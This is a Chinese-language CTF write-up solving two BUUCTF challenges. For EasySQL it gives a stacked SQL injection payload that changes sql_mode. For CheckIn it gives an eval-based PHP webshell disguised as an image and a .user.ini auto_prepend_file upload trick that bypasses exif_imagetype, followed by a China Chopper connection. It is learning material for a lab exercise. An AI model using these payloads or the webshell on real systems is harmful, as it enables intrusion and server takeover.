BUUCTF
参考:
https://www.cnblogs.com/0nth3way/articles/7128189.html
https://blog.csdn.net/qq_42181428/article/details/99741920
EasySQL
堆叠注入
https://www.cnblogs.com/0nth3way/articles/7128189.html
虽然我不知道怎么猜测的,反正
数据库语言为:
… POST[‘query’]||flag …
其中||是或者,
非预期:
select *,1||flag from Flag
*匹配所有,即找出Flag表里面的所有;
预期:
首先:参考https://segmentfault.com/a/1190000005936172
在不知道题目数据库语法的情况下,我真的服;
将sql_mode的值设为PIPES_AS_CONCAT
数据库语言为:set sql_mode=PIPES_AS_CONCAT
这样讲||作为连接字符串的意思,flag就被暴露出来;
原语句变成了:select flag from Flag(假如我没有输入东西,那么POST[‘query’])就是空)
但是题目不允许我不输入,所以我输入:
1;set sql_mode=PIPES_AS_CONCAT
这样原数据库语言就变成了select concat(1,flag) from Flag
那么这样执行会返回一个数组,如图:
执行成功,数组元素不止一个,那么在后面输入:select 1
这样输出的flag就会和后面的1一起输出;(这个原理不太懂,等之后更新查吧)
所以paylaod为:
1;set sql_mode=PIPES_AS_CONCAT;select 1
得到flag:
CheckIn
这道题是利用了**nigx和.user.ini的漏洞** 首先进去是一个上传,
只允许上传图片,并且使用的是php内置的获取图片类型的函数:exif_imagetype();
随便上传一个图片马得到
过滤了<?,那尝试用
<script language="php">eval($_POST['a'])</script>
构成图片马
上传成功,返回路径
但是为什么是数组,并且还是五个,我觉得应该是上传一个就把它放到一个文件夹下,并且生成index.php,当然还有上传的3.jpg
抓包之后发现题目服务器采用的不是apache,所以不能上传.htacss,服务器是nigx,尝试解析漏洞
参考:
https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
我们都知道php.ini是php的配置文件,而且他是一个静态的,虽然可以修改,但是要手动重启之后才能修改;
这里引入一个.user.ini,这也是php的配置文件,而且这个配置文件是动态的,我们修改之后不用重启,等待默认的300s之后会自行发生作用;
并且,.user.ini是一个每一个php文件都会使用的配置文件;
所以这里就产生了漏洞,只要我们在.user.ini文件中写一个包含别的文件,那么那个被包含的文件就会被执行,从而使得一句话木马发挥作用;
在之前已经上传过变形的一句话图片木马之后,继续上传一个.user.ini文件
文件内容为:
#define width 20
#define height 10
auto_prepend_file=3.jpg
这里要细说一下:
为了让.user.ini能顺利上传,我们要绕过exif_imagetype()函数
采用xbm格式X Bit Map,绕过exif_imagetype()方法的检测,上传文件来解析。
在计算机图形学中,X Window系统使用X BitMap,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。
XBM数据由一系列包含单色像素数据的静态无符号字符数组组成,当格式被普遍使用时,XBM通常出现在标题.h文件中,每个图像在标题中存储一个数组。
也就是用c代码来标识一个xbm文件,前两个#defines指定位图的高度和宽度【以像素为单位,比如以下xbm文件:
#define test_width 16
#define test_height 7
然后上传,上传成功,访问:http://e34df8dd-cc33-4230-a738-a53228dae5af.node3.buuoj.cn/uploads/f4e7685fe689f675c85caeefaedcf40c/index.php
中国菜刀连接即可;